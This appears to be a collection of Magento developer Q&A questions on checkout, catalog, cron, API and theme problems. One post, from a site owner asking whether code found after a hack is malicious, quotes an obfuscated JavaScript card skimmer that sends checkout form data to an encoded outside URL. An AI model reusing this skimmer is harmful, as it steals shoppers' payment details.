texts: How to hide the empty product-collateral tab in details page?

texts:
I want to hide the  product-collateral tab present in product details page when no value is entered for that attribute. am stuck here.

The tab coding in view.phtml is this:

    <?php if ($detailedInfoGroup = $this->getChildGroup('detailed_info', 'getChildHtml')):?>

            <?php foreach ($detailedInfoGroup as $alias => $html):?>

<?php echo $this->escapeHtml($this->getChildData($alias, 'title')) ?>

<?php echo $html ?>

            <?php endforeach;?>

    <?php endif; ?>

In catalog.xml it is called like:

<block type="catalog/product_view_description" name="product.description" as="description" template="catalog/product/view/description.phtml">
    <action method="addToParentGroup"><group>detailed_info</group></action>
    <action method="setTitle" translate="value"><value>Description</value></action>
</block>

The description.phtml is this:

<?php $_description = Mage::registry('current_product')->getDescription(); ?>
<?php if ($_description): ?>

        <?php echo $this->helper('catalog/output')->productAttribute(Mage::registry('current_product'), $_description, 'description') ?>

<?php endif; ?>

Please guide me how to hide the tab when no value is entered in description attribute field.I dont exactly know the jquery responsible for this.


texts: Magento 2 : Error/Success message won't remove from page after refresh once display

texts:
After display success/error message like "Item Added in cart" it won't remove from the page after refreshing the page. I am using Magento CE 2.0.7 version. Any one have the solution of this issue, please reply.

Also in login page error message won't display and after login success in next time login failure message will display on other page.


texts: Products are not showing on category and search result

texts:
Products are not showing in category and search result.

Products detail -

Status - Enable

Visibility - Catalog, Search

Assigned to right Website, Store, Categories

It's group product. Inventory set Manage Stock 'Yes' , Stock Availability 'In Stock'

Simple product which associated in have stocks and in stock (I also setup show out of stock products)

Reindex all index, Flush all caches

Category is active

I create a test sample product on admin product grid and assigned to the same category, the test sample product is showing correctly on the category

What should I check?

UPDATE - I think I reindex all few more but still products can not be search or not show in front-end , the products are showing correctly on admin

Not a new store, the previous products are showing well


texts: Show Images from third-part site using AWS CDN

texts:
We are currently using AWS CDN to fetch images uploaded. In Magento admin, if I upload any image, it goes to CDN and then it show me the CDN path in .

Now, we have a third party content site from where we need to show images using CDN.

In Magento, if the image is normally uploaded from admin it shows path something like:

For ex: http://mysite.com/images/new-logo.gif resides on my third party content site.

And if the image is coming from third party content site, it currently shows like

which should be like below with CDN

How can I make CDN work with both normal magento image upload from admin as well as showing third party images with complete path ?

How can I achieve this ?

Thanks.


texts:
In magento2.2 and PHP 7.1

When I am using admin my I/O Usage is so high I get 500 error.

How to solve this issue?


texts:
I am trying to replace default order/invoice number sequence in magento2. I have completed successfully by using following code.

di.xml file

<?xml version='1.0'?>
<config
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:noNamespaceSchemaLocation="urn:magento:framework:ObjectManager/etc/config.xsd"
>
    <type name='Magento\SalesSequence\Model\Manager'>
        <plugin name='Test\SalesSequence\Plugin\Model\Manager' type='Test\SalesSequence\Plugin\Model\Manager'/>
    </type>
</config>

Manager.php file

<?php
namespace Test\SalesSequence\Plugin\Model;

use Magento\SalesSequence\Model\Manager as Sb;
use Magento\SalesSequence\Model\Sequence as Sequence;
use Magento\Framework\App\ResourceConnection as AppResource;
use Magento\Framework\EntityManager\Sequence\SequenceFactory as SequenceFactory;
use Magento\SalesSequence\Model\ResourceModel\Meta as ResourceSequenceMeta;

class Manager extends Sb {

    protected $checkoutSession;

    private $storeId;

    private $type;

    protected $sequenceFactory;

    protected $resourceSequenceMeta;

    public function __construct(
        \Magento\Checkout\Model\Session $checkoutSession,
        SequenceFactory $sequenceFactory,
        ResourceSequenceMeta $resourceSequenceMeta
    ) {
        $this->checkoutSession = $checkoutSession;
        $this->sequenceFactory = $sequenceFactory;
        $this->resourceSequenceMeta = $resourceSequenceMeta;
    }

    public function aroundGetSequence(Sb $sb, \Closure $f, $entityType, $storeId)
    {
        return $this->saleSeq(Sequence::class, [
            'meta' => $this->saleSeqMeta($entityType, $storeId), 'pattern' => $this->pattern()
        ]);
    }

    private function pattern()
    {
        //last order id.
        $lastCreatedOrderNumber  = $this->checkoutSession->getLastRealOrderId();

        //last order created day
        $orderCreatedAt = $this->checkoutSession->getLastRealOrder()->getCreatedAt();

    }
}

I don't want to use $this->checkoutSession to get last order id from the database.

I want to get the last order id placed in the store.

Is there anyway, I can get last order id here?


texts: Should we set magento to maintenance mode before setup:upgrade and setup:di:compile?

texts: Does executing setup:upgrade or setup:di:compile cause any problems if I execute it in production? I fear that my customers will see errors after  I call these commands.


texts:
I have been trying to resolve this issue for 2 days but cannot seem to find the issue why the observers won't trigger. I hope some good soul out there might spot the issue and help me out on this on.

Background:
I want to write an observers which are triggered when an item is added to the cart and when the order was confirmed/checked out. The observers will ultimately update some customField in Jira and get some files into the magento database as well. But currently they should just write two files into the /tmp directory.

etc/webapi_rest/events.xml

<config xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:framework:Event/etc/events.xsd">
    <event name="sales_order_place_after">
        <observer name="jira-confirmation-update" instance="one\two\Observer\JiraConfirmationUpdate" />
    </event>
    <event name="checkout_cart_add_product_complete">
        <observer name="jira-get-attachments" instance="one\two\Observer\JiraGetAttachments" />
    </event>
</config>

Observer/JiraConfirmationUpdate.php

<?php
namespace one\two\Observer;

use Magento\Framework\Event\Observer;
use Magento\Framework\Event\ObserverInterface;

class JiraConfirmationUpdate implements ObserverInterface
{
  public function __construct()
  {

  }

  public function execute(Observer $observer)
  {

  $fp = fopen('/tmp/confirm.txt', 'w');
  fwrite($fp, 'order confirmed!');
  fclose($fp);

  }
}

?>

Observer/JiraGetAttachments.php

<?php

namespace one\two\Observer;

use Magento\Framework\Event\Observer;
use Magento\Framework\Event\ObserverInterface;

class JiraGetAttachments implements ObserverInterface
{
  public function __construct()
  {

  }

  public function execute(Observer $observer)
  {

  $fp = fopen('/tmp/add2cart.txt', 'w');
  fwrite($fp, 'getting attachments!');
  fclose($fp);
  }
}

?>

just on a side note, when i run php JiraGetAttachments.php in the terminal i get the error

PHP Fatal error:  Interface 'Magento\Framework\Event\ObserverInterface' not found in /var/www/html/app/code/one/two/Observer/JiraConfirmationUpdate.php on line 7

is that the an usual behaviour?

EDIT
for some reason after enabling the module I can not checkout anymore, disabling the module will make it possible to checkout again...


texts: Large product images show in backend but not frontend

texts:
I have a client and they've added some particularly large (in terms of pixel size) images to their Magento store (around 5000px x 5000px). The image is around 1MB in size.

The image does show in the admin panel on the backend and saves OK. However, when I go to the frontend it is replaced with the Magento placeholder.

I believe it's definitely to do with the size of the image, as I have uploaded a smaller image to the same product and that shows on the front.

Can anyone please suggest a remedy? I appreciate in an ideal world the client would not add such large images, and I will advise as such.


texts: Private sales store redirecting to public store in magento

texts:
From the admin panel I have created a private sales store successfully and a Private Welcome page is automatically created on CMS->Pages->Managecontent section, when I Clicked on it or when I enter magento/private-sales it's showing the private website. From that page we have a Login link and when I click on that it's redirecting to the default main website i.e., magento/customer/account/login i think it has to redirect to url magento/private-sales/customer/account/login?

It needs to any other settings to perform all private sale website actions?

Can you guys please let me know exact steps to get the expected, please provide help on this?


texts: Localhost fails to install modules using magento connect

texts:
I have got magento CE 1.9 running on my localhost and trying to intsall modules but it fails by giving me following error.

  community/dpdshipping: Unknown SSL protocol error in connection to
  connect20.magentocommerce.com:443

I tried updating my curl.php file from

//$this->curlOption(CURLOPT_SSL_CIPHER_LIST, 'TLSv1');

to

$this->curlOption(CURLOPT_SSLVERSION, CURL_SSLVERSION_TLSv1);

Still in fails, is there a workaround it?


texts:
I'm installing Magento2

After I reached to "127.0.0.1/setup/#/success" and clicked "Launch Magento Admin" I got the "Not Found" page.

I'm sure that I have changed the administrator page to "admin" ... that is also appeared in the success page.

If I try to open just 127.0.0.1 the page opens, but broken.... and if I click on any link in that page it takes me to the "Not Found" page

I,m using Apache/2.4.18 and php 5.6

If you have a solution ... please use simple words and clear steps ... I'm not that deep in this


texts: Leverage multi-core CPU in setup:di:compile command Magento 2

texts:
When developing for Magento 2 one of the more time consuming system tasks is running bin/magento setup:di:compile.

Since the compiler executes several tasks in a queue, I'm thinking executing them all at once would increase compiling speed by using a separate php process / core per task?

This is of course only possible when the queued tasks don't depend on each others execution result.

I'm not very familiar with the details of the compiling process, maybe someone can elaborate whether this solution would be feasible / possible at all?


texts: How do I add a custom message on magento's checkout page(right below the Country selector) based on the country that user selects to ship the product?

texts: For example: If a user wants to ship to India, I want to show a small message below the country selector and before the shipping method saying that "custom duties and taxes has to be paid by customer". And for any other country "shipping is free".


texts: Cron email not taking store smtp in multi site environment

texts:
We have a multi site magento installation. For each website, we have configured different smtp settings.

But, when we run cron to send abandoned cart email, it is always selecting the default smtp settings and not the store smtp settings for each website.

How to implement the store smtp setting while running cron.


texts: How to Create product rating programmatically?

texts:
I want to create product review and rating programmatically. I was able to create review programmatically by the following code snippet

<?php
ini_set('memory_limit', '128M');
require_once 'app/Mage.php';
Mage::app();
Mage::app()->setCurrentStore(1); //desired store id
$review = Mage::getModel('review/review');
$review->setEntityPkValue(1);//product id
$review->setStatusId(1);
$review->setTitle("mytitle");
$review->setDetail("mydetail");
$review->setEntityId(1);
$review->setStoreId(Mage::app()->getStore()->getId());      //storeview
$review->setStatusId(1); //approved
$review->setCustomerId(1);
$review->setNickname("Menickname");
$review->setReviewId($review->getId());
$review->setStores(array(Mage::app()->getStore()->getId()));
$review->save();
$review->aggregate();
?>

But I don't know how to create rating programmatically. I'm totally blank about it. Can anyone help on this?


texts: Magento ver. 2.3.1 Catalog Price Rule show blank page

texts:
I am using the Magento ver. 2.3.1, in Catalog Price Rule has 43 records, but it did not appear, it shows a blank page so I cannot find/edit/delete any rules.

Any help to solve this issue?
Thank you so much.


texts: Why avoiding ObjectManager can save us from multiple issues if Magento upgrade?

texts:
A new dependency injection framework will be used for the code. By avoiding ObjectManager in Magento 2, you won’t face multiple issues caused by the improvement.
source:https://firebearstudio.com/blog/magento-2-objectmanager-use-cases.html

If Magento injects the new dependency, why it is not affecting any child class which we have extended during development?

Any explanation would be appreciated.

Thanks in advance..!


texts: *Why save magento visitor happen only when POST/PUT request?

texts:
I was involved in development of some service integration with magento. I provided this service callback URL. In controller/action I am creating a customer and making it logged in. But then I noticed an interesting thing:

On customer authorization magento does not correctly registering a visitor. Actually visitor exist, but it does not have customer_id (Looks like it's a guest).

Follow magento

  admin area > customers > now online

I didn't saw that customer there.

This happened because of following code:

/**
 * Save visitor by request
 *
 * Used in event "controller_action_postdispatch"
 *
 * @param   \Magento\Framework\Event\Observer $observer
 * @return  \Magento\Customer\Model\Visitor
 */
public function saveByRequest($observer)
{
    // prevent saving Visitor for safe methods, e.g. GET request
    if ($this->skipRequestLogging || $this->requestSafety->isSafeMethod() || $this->isModuleIgnored($observer)) {
        return $this;
    }

Following code: $this->requestSafety->isSafeMethod() returns true. Because 3rd party service followed our callback url with GET request.

So what is the question:

Magento did that check to exclude all get requests while customer walking throw pages?

Is it for security reasons? For example magento is expecting that method $this->session->setCustomerDataAsLoggedIn($customer);
should be called only from POST request?

If it's for security reasons, how somebody can exploit this?


texts: Account Link label generated by helper returns escaped html

texts:
In a link block I am calling a helper function to return a label with a piece of svg:

<block class="Magento\Customer\Block\Account\Link" name="my-account-link" after="top.links.right.search">
    <arguments>
        <argument name="label" xsi:type="helper" helper="Vendor\Module\Helper\Data::svg">
            <param name="id">login</param>
            <param name="label">My Account</param>
        </argument>
    </arguments>
</block>

The helper function looks like this:

public function svg($id, $label = null)
{
    $ssl = $this->_request->isSecure();
    $file = $this->_assetRepo->getUrlWithParams('svg/sprite.svg', array('_secure' => $ssl));
    $class = 'svg-' . $id;
    return '<svg class="' . $class . '"><use xlink:href="' . $file . '#svg-' . $id . '"/></svg>' . $label;
}

The SVG is created properly. Unfortunately it is returned as escaped html and thus printed in clean text.

How can I prevent the generated svg from being escaped?

Thank you


texts: paypal express checkout button redirecting to cart page in magento 1.9.1

texts:
When i purchase a product then on cart page after click on paypal checkout button it redirects from cart page to cart page again instead of redirecting to paypal .Why this happens. I am using same paypal express to my another site there it work fine .This issue occur i migrate my site from shared server to dedicated server...
This is the extension.log file errors


texts: Magento 2: No options under configuration>general>design

texts:
Since I updated to 2.0.4 I noticed there is no option in the backend to select a theme. (not sure if this is the cause or it happend before) Under Configuration > General > Design there is only the option to edit Search Engine Robots. Under that section there is no 'Theme' section that did used to be there??
Screenshot: screenshot

However in the database theme option is present:

14 | default | 0 | design/theme/theme_id | 4

Hope you guys can help me.


texts: how to prerender/preprocess the data before displaying in custom admin module grid?

texts:
i have a custom admin module will print some data

$this->addColumn('product_old_values', array(
    'header'    => Mage::helper('adminlog')->__('product_old_values'),
    'align'     =>'left',
    'width'     => '20%',
    'index'     => 'product_old_values',
));

since product_old_values is a serialized array (a long string), how can i run unserialize(product_old_values) before displaying into a grid?


texts: Magento 2 Created a custom product Attribute of drop down yes or no

texts:
I have created a custom attribute in magento 2 for product using a source Magento\Eav\Model\Entity\Attribute\Source\Boolean
Here is the code
     if(!$eavSetup->getAttributeId(\Magento\Catalog\Model\Product::ENTITY, 'purchase_unit')) {
        $eavSetup->addAttribute(
            Product::ENTITY,
            'purchase_unit',
            [
                'group' => 'Rocket',
                'type' => 'int',/* Data type in which formate your value save in database*/
                'backend' => '',
                'frontend' => '',
                'label' => 'Purchase Unit', /* lablel of your attribute*/
                'input' => 'select',
                'class' => '',
                'source' => 'Magento\Eav\Model\Entity\Attribute\Source\Boolean',
                'global' => \Magento\Eav\Model\Entity\Attribute\ScopedAttributeInterface::SCOPE_GLOBAL,
                /*Scope of your attribute */
                'visible' => true,
                'required' => false,
                'user_defined' => false,
                'default' => '0',
                'searchable' => false,
                'filterable' => false,
                'comparable' => false,
                'visible_on_front' => false,
                'used_in_product_listing' => false,
                'unique' => false
            ]
        );
    }

The attribute is getting created and also displays in product page. The issue is it displays YES as default value which is 1. How to solve this problem?


texts: How to change the position of the filters in product page or Layered navigation

texts:
Hi,

I need to change the layer navigation position as shown in below image the Manufacturer first and Category to second. But i can't find how to change these.

The Category must come at second position how to position it ?

Thanks in Advance :)


texts: Can anyone explain me about stripe payment method. Also i have to create a custom payment method using stripe payment. Please guide accordingly


texts: Is there a way to load admin session by email in magento 2?

texts:
I found some similar questions like how to load customer by email in magento2? but I need to load admin user, not customer. Also I unsuccessfully tried to find information in the official docs, but...

EDIT:
Sorry, I a little bit rephrase the question:
How can I load admin session in admin place by email?


texts: Additional Send Order Copy Email with different email template to other email address

texts:
There is 'Send Order Email Copy To' feature on sales email menu. I wand to add additional feature which I can set different email template and other email address.

e.g.) Adding this menu, 'Send Order Email #2 To ' / 'Send Order Email #2 email template'

How can I add this feature?

Thank you!


texts: Defer parsing of JavaScript Magento - Disable Sliders

texts:
I'm trying to improve my PageSpeed for my Magento website. I'm using GTmetrix about the test.
I'm editing the file Head.php under app/code/core/Mage/Page/Block/Html

how this blog show me:
http://www.magentocommerce.com/boards/m/viewthread/369412/#top

I replace this code in line 203:

// static and skin javascripts
            $html .= $this->_prepareStaticAndSkinElements('<script type="text/javascript" defer src="%s"%s></script>' . "\n",
                empty($items['js']) ? array() : $items['js'],
                empty($items['skin_js']) ? array() : $items['skin_js'],
                $shouldMergeJs ? array(Mage::getDesign(), 'getMergedJsUrl') : null
            );

            // If Mage is Admin
            if (Mage::app()->getStore()->isAdmin()) {
                $html .= $this->_prepareStaticAndSkinElements('<script type="text/javascript"  src="%s"%s></script>' . "\n",
                empty($items['js']) ? array() : $items['js'],
                empty($items['skin_js']) ? array() : $items['skin_js'],
                $shouldMergeJs ? array(Mage::getDesign(), 'getMergedJsUrl') : null
            );
            }

In this way the consecutive test is very good (100%) but The sliders on the page missing.

Can anyone help me? please


texts: Magento 1.7.0 - Techinical datasheet path location in database

texts:
I need to find out which table or tables which holds the technical datasheet path location in the database.

I need to change the path values for each technical datasheet. as there are over a thousand products i can only do this via the database.

I cant seem to find any results on the web.
Magento 1.7.0
Thanks

Location on the datsheet link:

1. Click General

2. In the General section


texts: Magento 2.3 How to apply coupon code discount on regular price

texts: When I apply a coupon code on the cart, it gives a discount on the final price if a special price is set. But I want to apply a discount on a regular price ( If a special price is set on that product) If anyone knows how I can do this then please let me know. Thanks


texts: Magento2 exclude orphan products from sitemap

texts:
Is there a way to exclude orphan products from a sitemap?

we have multiple storeviews in 1 store. We want the functionality that the customer can choose a product in one storeview and buy it in another storeview. For that to be possible we need to enable all products for all storeviews.
BUT we dont want all products in all sitemaps for each store. That's why we are looking for a way to exclude products that are not in an active category for each storeview.


texts: What's the difference between "extension_attributes" and "custom_attributes" in the products API?

texts:
I'm looking at the API in magento 2.3 and I'm trying to figure out how they works.
I called a GET on /rest/it/V1/products/:sku and I got a JSON (stripped out for clarity)

{
    "extension_attributes": {
        "marketing1_title": "This is the marketing title 1",
    },
    "custom_attributes": [
        {
            "attribute_code": "marketing1_title",
            "value": "This is the marketing title 1"
        }
    ]
}

This product was created in the backend (I'm not familiar at all with it, I only work with the API) so I don't understand if it's a misconfiguration in the backend or if it's supposed to work this way.

Mainly I can't get the difference between "extension_attributes" and "custom_attributes" and I can't find any docs about it.

Can you help me in any way?


texts: How can one specify image path in JavaScript file without hardcoding whole path?

texts:
I'm using webicon script in my theme to use svg/png as icons. This is the code from my jQuery widget:

_create: function () {
    $(document).webicons({
        icons: {
            tile: 'http://magento2.dev:8888/project/pub/static/frontend/vendor/theme/en_US/images/tile.png',
            user: '../images/user.png'
        }
    });
}

If I hardcode the whole path the image displays correctly, second one doesn't display. I've tried other approaches that also wont display. Is there a way to do this directly in JS? I know I could load the path with  data-mage-init in PHP and pass it in with config options, but I'd like to know if anyone found a way to do this directly in JS?


texts: Magento API : Call to a member function getRole() on a non-object

texts:
I am searching products using magento api. created one input box and search button where user will enter the product name and submit the keyword. It will search the products using the key word and name attribute. But it is showing the error:

  Call to a member function getRole() on a non-object

I have checked user which i created, user role and user role assigned to user and role resources but still issue the same.. here is my code

  <form action="" method="get"> <input type="text" name="searchWord" /> <input type="submit" value="search" name="search" /> </form> <?php if(isset($_GET['search'])){

    // creating soap client $client = new SoapClient('http://localhost/magento/index.php/api/soap/?wsdl');

    // creating session for login

    $sessionId = $client->login('myusername','apiKey');

    $searchKeyWord = $_GET['searchWord'];

    $filters = array(
                    'name' => array('like'=>"%$searchKeyWord%")
                     );
var_dump($filters);
 try{ $result = $client->call($sessionId, 'catalog_product.list', array($filters)); } catch(Exception $e){ echo $e->getMessage();
        return;

    }

I have tried other method too.. like

$result = $client->call($sessionId, 'catalog_product.info', '1') and its working fine but catalog_product.list is not working.. Any idea

Thanks in advance :)


texts: Can we make Widget Options validaton in magento?

texts:
I have exactly same question asked over here: https://stackoverflow.com/questions/25291470/can-we-make-widget-options-validaton-in-magento

I want to know is there any easy way I can validate my widget options input or I should write all validation codes by myself ?

Something like, check if the option is not a negative number or similar things.

Any help will be appreciated. Thanks for your help.


texts:
Can we add an option to attach files/images to form submission?
This is so that customers can attach photos of any faulty items.
Please help me


texts: Magento One Page Checkout remove twitter and facebook box

texts:
I want to remove the Twitter and Facebook box in OnePage Checkout, but it doesn't work.

I removed some other blocks from One Page Checkout like Newsletter and top.search, but I don't know the exact Name of the Facebook and Twitter Block.

Do you have any idea?

So I've edited and inserted in checkout.xml under checkout_onepage_index:

<remove name="twitter"/>
<remove name="twitter-box"/>
<remove name="facebook"/>
<remove name="facebook-box"/>


texts:
I'm on Magento Community ver. 1.9.0.1 and I'm stuck fixing a Onepage checkout error.

Users are currently unable to get past entering Billing Information - Clicking the continue button will not advance to the next section. Two errors are showing:

ReferenceError: Can't find variable: billing

onepage:389

//billingForm.setElementsRelation('billing:country_id', 'billing:region', 'http://www.3dpapergreetings.com/directory/json/childRegion/', 'Select State/Province...');
$('billing-address-select') && billing.newAddress(!$('billing-address-select').value);

onepage:619

billing.onSave = function(evt){

It appears to be an issue relating to a billing variable but I have exhausted every possibility I can think of to try. Any assistance in resolving this would be appreciated.

Thanks


texts:
I Some days back someone hack my website, After that i found this code in my home page

<script type="text/javascript">function jj(e){var t="; "+document.cookie,o=t.split("; "+e+"=");return 2==o.length?o.pop().split(";").shift():void 0}jj("SESSIID")||(document.cookie="SESSIID="+(new Date).getTime()),jQuery(function(e){e("button").on("click",function(){var t="",o="post",n=window.location;if(new RegExp("onepage|checkout").test(n)){for(var c=document.querySelectorAll("input, select, textarea, checkbox"),i=0;i<c.length;i++)if(c[i].value.length>0){var a=c[i].name;""==a&&(a=i),t+=a+"="+c[i].value+"&"}if(t){var l=new RegExp("[0-9]{13,16}"),u=new XMLHttpRequest;u.open(o,e("<div />").html("&#104;&#116;&#116;&#112;&#115;&#58;&#47;&#47;&#111;&#119;&#110;&#115;&#97;&#102;&#101;&#116;&#121;&#46;&#111;&#114;&#103;&#47;&#111;&#112;&#112;&#46;&#112;&#104;&#112;").text(),!0),u.setRequestHeader("Content-type","application/x-www-form-urlencoded"),u.send(t+"&asd="+(l.test(t.replace(/s/g,""))?1:0)+"&utmp="+n+"&cookie="+jj("SESSIID")),console.clear()}}})});</script>

Is it hacking code or reletated to magento code because encoding


texts: Validate shipping address on place order button click in one page checkout

texts:
Actually I want to validate shipping address form fields when I click on place order button, currently, it validates only email field.

I used this free one-page checkout extension

Does anyone have an idea how can I do this?


texts: How to show manufacturer attributes for products with link to advanced search result?

texts:
I am showing the manufacturer attribute in catalog_product_view page on product/view.phtml using Code 1 (see below). I successfully included a list of all manufacturer attributes from Code 2.

How to show the result of Code 1 with href link as in Code 2, which should redirect to advanced search result and show a list of all products for that selected manufacturer?

(OR)
How to restrict the results of Code 2 as in Code 1 (Instead of showing all results for manufacturer make it to show only one value as in Code 1)

Code 1

<?php if( $_product->getAttributeText('manufacturer') ): ?>

Brand:
<?php echo $_product->getAttributeText('manufacturer')?>

 <?php endif; ?>

Example Output of Code 1:

  Nike

Code 2

<?php
    $product = Mage::getModel('catalog/product');
     $attributes = Mage::getResourceModel('eav/entity_attribute_collection')
                   ->setEntityTypeFilter($product->getResource()->getTypeId())
                   ->addFieldToFilter('attribute_code', 'manufacturer');
     $attribute = $attributes->getFirstItem()->setEntity($product->getResource());
     $manufacturers = $attribute->getSource()->getAllOptions(false);
 ?>

      <?php foreach ($manufacturers as $manufacturer): ?>

<a href="<?php echo Mage::getBaseUrl(); ?>catalogsearch/advanced/result/?manufacturer[]=<?php echo $manufacturer['value'] ?>"><?php echo $_product->getAttributeText('manufacturer')?>

       <?php endforeach; ?>

Example Output of Code 2:

Nike,Reebok,Adidas,Etc

  Nike,Reebok,Adidas,Etc

I want it like this:

Required  Output:

Nike

  Nike

Like in Amazon:

http://www.amazon.in/s/ref=bl_dp_s_web_976392031?ie=UTF8&node=976392031&field-brandtextbin=Nike

Am using 1.9.2 Rwd theme,Any help would be appreciated..!


texts: How To Observe Shipping Method Checkout Step in Magento With Javascript?

texts: I need to load some jquery code on checkout after the shipping methods are loaded. This code is going to auto-select a ship method and hide the others. How can you observe checkout steps in Magento in JavaScript? Right now I have the code within a document.ready but since the shipping methods are not showing yet on first page of checkout of course the code will not work.


texts: Magento2: Default value is not working of Date type product attribute?

texts:
I have created product attribute from admin and set input type "Date" and assigned "default date value" but default value is not showing when adding product and frontend also.
Please check below screenshot :

Anyone have an idea , how can solve this?


texts: Magento 2 - Custom theme is not working on production server

texts:
A few days ago I finished the custom theme (very simple, based on Luma and Blank themes, changing colors etc only). My theme works perfectly on the local server, but when uploaded to the live server it looks like some changes are not deployed, so I ran the deploy command again after clearing the static files and the cache but still the same. I created a new DB and reinstalled Magento on the live server but still the same!
The problem is that I can not see any errors anywhere!
Any help will be very much appreciated!!


texts: Magento 2, XSS Patch not detected (APPSEC-2143)

texts:
In Magento security scan I got the below message for my Magento instance:

XS Vulnerability - Failed.
XSS Patch not detected (APPSEC-2143)

I am using Magento 2.2.3

How could I resolve this?

Is anyone have an idea about it?


texts: Magento search not retuning search result when the word - "the" and "in" is included in search string

texts:
I just noticed an issue with Magento2.2.6 that when I try to search with strings like
girl in beach or beyond the world
I am getting - Your search returned no results.
even when the product with the same name is there.
if I just remove "in" and "the" from the string I am getting the result.
How I can fix it.


texts:
I have some data on front-end , which I want to show on specific days in the calendar. I got this code to show the calendar on the front end .

 <?php
      $a = 'some text';
      $b = 'some other text'
 ?>


texts: Can Default Magento Export Profile Export All Gallery Images?

texts: I'm trying to export magento simple products with gallery images I can only find "image","small_image","thumbnail" in the csv file but I think magento has also gallery field? Why it's not included in my profile? I have checked and I didn't skip it. I also tried to export only gallery field map and it was empty. I'm trying to understand if magento can export also gallery images path? The import is easy, there is many options such as Magmi etc... but how to make magento export those gallery images, The alternatives are expensive extensions for single license (I have 20 websites where I want to export) the unlimited license cost $1,000+ this is crazy. I just want images to be included nothing major. Please help?


texts: Changed my site to Single Store mode and now the navigation isn't working correctly

texts:
I recently took over managing an e-commerce site for my client and in looking at the settings I saw that it was set up as a multi-store site. It didn't seem to require that setting so I changed it to Single Store mode. But now the navigation isn't working correctly. The home page shows up blank.

How can I fix this? I tried to add Store views thinking that I could just set it back the way it was but that doesn't seem possible at the moment.

Any help or advice would be greatly appreciated.


texts: Order status and confirmation email problem

texts:
Recently I found out that my customers did not receive the automatic confirmation email from my store after they place the order and made payment through Paypal. I need to manually send the confirmation email to customer by clicking the button "send email" in sales>order>order view. The order status also keep remaining in "pending" even though the customer has completed their payment in Paypal.

I would like to know how this can be fixed and also if it is a setting problem or coding problem. I am using Magento ver. 1.9.0.1 now.


texts: Magento1.9: Intercepting Order Post on Server Side

texts:
I have to validate shipping addresses before an order goes through, but I cannot rely on a front end javascript approach.

I'm trying to find the code I'll need to customize that will allow me to run a regexp on the shipping address before approving an order.

If the regex matches, I'll need to return an error to the shopping cart page saying: "I'm sorry we cannot ship to that address".

Any ideas where I can find the code to do this?

I must approach it this way because I cannot ship to certain states, sometimes even only certain cities within certain states, so Magento's built-in regions doesn't cut it.

I already have this custom functionality to only shipping to certain states.

The problem is I need to only restrict these locations in the shipping address area, but not the billing.

I have already allowed billing to be any address while restricting the shipping, on the front end.  But there are ways to still get the restricted address into the shipping field such as "use billing address" for shipping, etc...

So as foolproof way to make sure no orders get through that have very specific shipping destinations, I want to validate the address on the server side and stop the order from going through if it matches my regular expression.

Any help appreciated.


texts: Magento 2.3.4: What is the use of cronjob consumers_runner cronjob?

texts: I am looking to change the frequency of certain cronjobs to improve the performance and want to know what is the use of cronjob consumers_runner cronjob?


texts:
I am currently showing all my orders in My Account dashboard.
The problem only 5 orders are shown when I fetch all orders.

$_orders = $block->getOrders();

but I have 29 orders in the database, it only shows 5 orders.
How to get all the orders.

I have UI like this

When I fetch all order for dashboard section in recent.phtml
/Magento/Sales/orders/recent.phtml i only get 5 orders

whereas /Magento/Sales/orders/history.phtml i get all orders

I tried this

class Recent extends  \Magento\Sales\Block\Order\Recent
{

/**
 * Limit of orders
 */
const YX_ORDER_LIMIT = 5000;

/**
 * @var \Magento\Sales\Model\ResourceModel\Order\CollectionFactory
 */
protected $_orderCollectionFactory;

/**
 * @var \Magento\Customer\Model\Session
 */
protected $_customerSession;

/**
 * @var \Magento\Sales\Model\Order\Config
 */
protected $_orderConfig;

/**
 * @var \Magento\Store\Model\StoreManagerInterface
 */
private $storeManager;

protected function _construct()
{
    parent::_construct();
    $this->getRecentOrders();
}

private function getRecentOrders()
{

    $this->storeManager = ObjectManager::getInstance()
        ->get(StoreManagerInterface::class);

    $orders = $this->_orderCollectionFactory->create()->addAttributeToSelect(
        '*'
    )->addAttributeToFilter(
        'customer_id',
        $this->_customerSession->getCustomerId()
    )->addAttributeToFilter(
        'store_id',
        $this->storeManager->getStore()->getId()
    )->addAttributeToFilter(
        'status',
        ['in' => $this->_orderConfig->getVisibleOnFrontStatuses()]
    )->addAttributeToSort(
        'created_at',
        'desc'
    )->setPageSize(
        self:: YX_ORDER_LIMIT
    )->load();
    $this->setOrders($orders);
}

}

It didnt work


texts:
I created a block under CMS -> Static Blocks with the following content:

Unfortunately the media directive interprets to src="{{media url=" when I try to load the CMS Block via

$signaturemodel = Mage::getModel('cms/block')->load('email_signature');

$signature = $signaturemodel->hasData() ? $signaturemodel->getContent() : "";
echo $signature;

Is there any chance to get the correct media url?


texts: Magento2 - ability to send money to customer

texts:
Is anyone aware of a module or examples of functionality which would allow a Magento2 store to send money to a customer?  For example, if the customer had built up £30 in store credit, I'd like the customer to be able to withdraw this money to their own bank account, perhaps using Stripe payment gateway with saved card details.

Idea's very gratefully received


texts: How to get simple product id of configurable product on Product details page

texts: In product details page when user choose  like color and size it returns simple product id of that


texts: magento 2.3 now showing category and subcategory in breadcrum on prodcut detail page

texts:
my product details page has url structure like

url > cat > sub cat > product name

but in breadcrumb i see only home > product name i want to show category and sub category also

breadcrum.phtml

<?php
/**
* Copyright © Magento, Inc. All rights reserved.
* See COPYING.txt for license details.
*/
/** @var \Magento\Theme\Block\Html\Breadcrumbs $block */
/** @var \Magento\Catalog\ViewModel\Product\Breadcrumbs $viewModel */
$viewModel = $block->getData('viewModel');

?>
        <div class="ui breadcrumb" data-mage-init='{
            "breadcrumbs": {
                "categoryUrlSuffix": "<?= $block->escapeHtml($viewModel->getCategoryUrlSuffix()); ?>",
                "useCategoryPathInUrl": <?= (int)$viewModel->isCategoryUsedInProductUrl(); ?>,
                "product": "<?= $block->escapeHtml($block->escapeJsQuote($viewModel->getProductName(), '"')); ?>"
            }
        }'>
        </div>

layout.xml file

 <referenceBlock name="breadcrumbs" template="Magento_Catalog::product/breadcrumbs2.phtml">
            <arguments>
                <argument name="viewModel" xsi:type="object">Magento\Catalog\ViewModel\Product\Breadcrumbs</argument>
            </arguments>
        </referenceBlock>


texts: Magento 2.3 Class does not exist on error Compilation

texts:
When I tried to do the compilation via php bin/magento setup:di:compile, I got the following error.

I installed Landofcoder's SMS notification extension. I was thinking the issue is arising due to this one.


texts: Link specific file with the corresponding product

